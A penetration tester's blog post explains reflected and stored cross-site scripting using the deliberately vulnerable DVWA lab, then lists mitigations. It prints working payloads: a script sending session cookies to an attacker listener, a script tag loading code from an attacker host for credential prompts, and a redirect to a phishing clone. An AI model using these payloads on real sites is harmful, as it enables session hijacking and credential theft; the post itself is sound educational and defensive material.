The Impacts of Cross Site Scripting

Cross site scripting (XSS) is a web application vulnerability, allowing an attacker to inject malicious HTML and/or JavaScript code that will later be executed in a victim’s web browser. As the code is triggered and ran on web browsers, this is classed as a client-side attack and could ultimately lead to an attacker hijacking your Internet browsing sessions.

In this blog post, I will discuss the details of how an attacker injected code ends up executing in a victim’s browser, as well as the attack vectors of XSS with details on the real impacts of such a vulnerability.

Introduction

In a nutshell, XSS is an exploit done by attackers via injecting HTML and/or JavaScript code into a website. The website will evaluate the code and serve it back to a victim on a web browser. XSS is achieved when a victim visits a vulnerable webpage, triggering the malicious code injected by an attacker to perform unintended actions on behalf of the victim.

There are two major types of XSS, reflected (RXSS) and stored (SXSS). RXSS happens once every time a victim performs a specific action. For example, clicking on a link received in an email with the JavaScript code. The behavior of RXSS should be consistent, meaning it should trigger every time you click on a malicious link. The payload used to exploit an RXSS attack should not be stored on the vulnerable web application.

SXSS on the other hand, happens every time a victim visits a webpage where the malicious JavaScript is displayed. This is because the payload is stored on the web application and is just sitting on a webpage waiting for a victim to see it. In other words, an attacker will only need to inject malicious payload into a webpage once. Comparing to RXSS, SXSS vulnerabilities tend to be higher in risk as it requires lesser amounts of social engineering.

This can probably be better explained with a little visual aid. Consider the following diagram:

XSS vulnerabilities have held its ground on the top 10 most common web application vulnerabilities. The industrial standard defined by the Open Web Application Security Project (OWASP) maintains a list of top 10 web application vulnerabilities, and XSS have been on the list for almost two decades. This is probably a good indicator and should serve as a warning to system owners not to underestimate the impact of cross site scripting.

Real World Scenarios

Enough with the boring theories, let’s move on to some actual XSS exploits. For the sake of this blog post, I will be using the Damn Vulnerable Web Application (DVWA) as a demo application. This is a web application specifically made vulnerable for cyber security enthusiasts to practice their skills. It is also easy to setup, and I would recommend my readers to have a go at it if they have an interest in cyber security.

XSS can be leveraged into performing different kinds of attacks. Some common ones are session hijacking, credentials harvesting and drive-by download attacks. Note that this is not an exhaustive list. As XSS relies on the execution of JavaScript code, XSS can be used to perform anything JavaScript can do or access.

Session Hijacking

An attacker can leverage XSS to steal session cookies. As session cookies are used to maintain a logged in session of a website account, an attacker getting their hands on this cookie would be able to gain a valid logged in session on the website. In other words, gaining access to a victim’s account without needing a valid username and password combination.

This is demonstrated below on the DVWA website. An attacker can include malicious code in a URL to a webpage vulnerable to XSS and send it as a link to victims. In this case, the “name” parameter, as shown in the URL below:

http://jjolabs.jjopentester.com/DVWA/vulnerabilities/xss_r/?name=<script>image=new+Image();image.src=’http://192.168.233.1:8888/?’%2Bdocument.cookie;</script>

The URL looks obviously malicious and users with even a little security awareness would avoid clicking on such links. This is where an element of social engineering would be required to get victims to click on the link. For example, this link can be sent via emails, which gives an attacker the ability to mask the actual destination of the URL. This is shown below, where the actual destination can only be revealed when a mouse cursor is hovering over the link:

http://jjolabs.jjopentester.com/rewards

An attacker would have already setup a listener to capture any session cookies prior to sending out those phishing links, which I have done using “ncat” on my local machine. When a victim clicks on the link above, the session cookie “PHPSESSID” will be captured on my listener, as shown below:

From there, an attacker would be able to use the session cookie and gain access to the victim’s session on the vulnerable website, hence session hijacking.

Credentials Harvesting

Credentials harvesting is also a common attack vector via leveraging XSS attacks. In the simplest form, this is achieved via stored XSS. Luckily for us, DVWA also has a webpage that is vulnerable to SXSS, as shown below:

http://jjolabs.jjopentester.com/DVWA/vulnerabilities/xss_s

As you can see, the webpage stores the names and messages provided by website users. By including malicious code in the message field such as the one below, an attacker is able to import a JavaScript file (test.js) hosted on an attacker’s machine.

<script src=http://attacker.jjopentester.com:4444/test.js>

The test.js file contains JavaScript code to prompt victims for credentials. As the XSS payload is now stored on the webpage, victims who navigate to the vulnerable webpage will be prompted for credentials, as shown below:

http://jjolabs.jjopentester.com/DVWA/vulnerabilities/xss_s

Credentials harvesting can also be achieved by redirecting victims to a clone of the vulnerable website. This could possibly be an easier exploit to perform, just amend the contents of test.js to include something like the below:

window.location.href = 'https://www.evil.com'

Similarly, when the victim visits the vulnerable webpage, they will be redirected to https://www.evil.com, which has a clone of the login page for the vulnerable website. In my experience, victims do not normally notice the sudden change of website URLs in the URL bar. As soon as the victims key in their username and password, their credentials will be captured and they will be redirected back to the legitimate website once again, making it seem like they have never visited a malicious website.

Drive-by Download

Drive-by download attacks happen when programs or other malicious scripts are unintendedly downloaded to your computer. A typical scenario of this attack would be that victims were just casually navigating through a website, and suddenly a new browser tab quickly opens and then closes. Note that pop ups with this behavior could be a sign of drive-by download as well.

Closer inspection into your Downloads folder would reveal that malicious programs or scripts were downloaded. However, a successful exploit would still require victims to mistakenly run the downloaded programs or scripts. Otherwise, an attacker would need to rely on exploiting other vulnerabilities to run the malicious programs.

Some recommendations

There are several mitigations you can implement on your website to prevent attackers from using it to perform XSS attacks. First and most importantly, encode the output of data when displaying them on web browsers. This should be done via HTML encoding, and should include characters that can be used to perform client side injection attacks, such as angle brackets, backticks, curly brackets, parenthesis, single and double quotes (< > ` { } ( ) ‘ “). When your application presents user input in HTML encoded format, web browsers will automatically convert them to the corresponding special characters.

Secondly, ensure that any software or functionalities that rely on third party scripts are kept up to date. This is due to the fact that a portion of XSS vulnerabilities come from the use of old versions of software.

This may not be the most appropriate mitigation to implement against XSS, but it does narrow down the chances of a successful XSS attack. Ensure that user supplied input are sanitized and validated using server-side scripts. This would allow your website to only process inputs that are deemed safe and do not contain any malicious contents.

Additionally, ensure that session cookies used by your website are marked as “HttpOnly”. This would prevent JavaScript from accessing them, hence preventing an attacker to hijack victim’s logged in session via XSS. Finally, ensure that HTTP security headers are implemented as they could provide additional protection against XSS attacks. I have also written a blog post specifically discussing HTTP security headers.

Conclusion

You would think that since XSS has been around for a very long time that people would know better and work towards preventing it. The statistics speaks for itself, XSS vulnerabilities even have its own category in the OWASP top 10 list of vulnerabilities and have plagued websites for almost two decades. This is not always the case and some websites that I have tested in the past does a good job in preventing it; however, I have still managed to exploit this in a single webpage out of all the webpages our clients have implemented measures for. In such cases, implementing XSS protections is just a matter of consistency and should be done across all webpages on a website. The payloads I have used in earlier demonstrations are merely basic payloads, and simple restrictions could be used to reject such inputs. However, majority of the implementations can be bypassed by investing a little more time and effort.

These are the main reasons why getting a penetration test done is so important, as it would provide you with the assurance that the implementations you have done are consistent and appropriate. As always, do not hesitate to get in touch if you need your website tested, we will be more than happy to help!